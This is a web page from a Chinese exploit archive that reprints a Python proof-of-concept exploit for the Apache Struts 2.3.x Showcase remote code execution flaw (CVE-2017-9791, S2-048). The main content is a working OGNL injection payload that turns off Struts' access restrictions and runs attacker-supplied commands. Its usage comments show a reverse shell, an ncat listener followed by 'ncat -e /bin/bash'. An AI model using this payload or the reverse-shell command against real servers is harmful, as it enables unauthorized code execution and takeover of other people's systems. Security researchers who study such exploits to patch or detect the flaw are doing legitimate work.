首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache Struts 2.3.x Showcase - Remote Code Execution (PoC)
来源:vfocus.net 作者:Vex Woo 发布时间:2017-07-17  
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
# Just a demo for CVE-2017-9791
 
 
import requests
 
 
def exploit(url, cmd):
    print("[+] command: %s" % cmd)
 
    payload = "%{"
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
    payload += "}"
 
    data = {
        "name": payload,
        "age": 20,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }
 
    headers = {
        'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
    }
    requests.post(url, data=data, headers=headers)
 
 
if __name__ == '__main__':
    import sys
 
    if len(sys.argv) != 3:
        print("python %s <url> <cmd>" % sys.argv[0])
        sys.exit(0)
 
    print('[*] exploit Apache Struts2 S2-048')
    url = sys.argv[1]
    cmd = sys.argv[2]
 
    exploit(url, cmd)
 
    # $ ncat -v -l -p 4444 &
    # $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PyCharm 2-0 / 2017 Buffer Over
·Counter Strike: Condition Zero
·Skype for Business 2016 - Cros
·Firefox 50.0.1 - ASM.JS JIT-Sp
·RaidenHTTPD 2.0.44 User-Agent
·FTPGetter 5.89.0.85 - Buffer O
·IBM Informix 12.10 DB-Access B
·iSmartAlarm CubeOne Remote Com
·Microsoft Windows Windows 7/8.
·Metasploit Example Exploit
·WMI Event Subscription Persist
·Windows Browser Example Exploi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved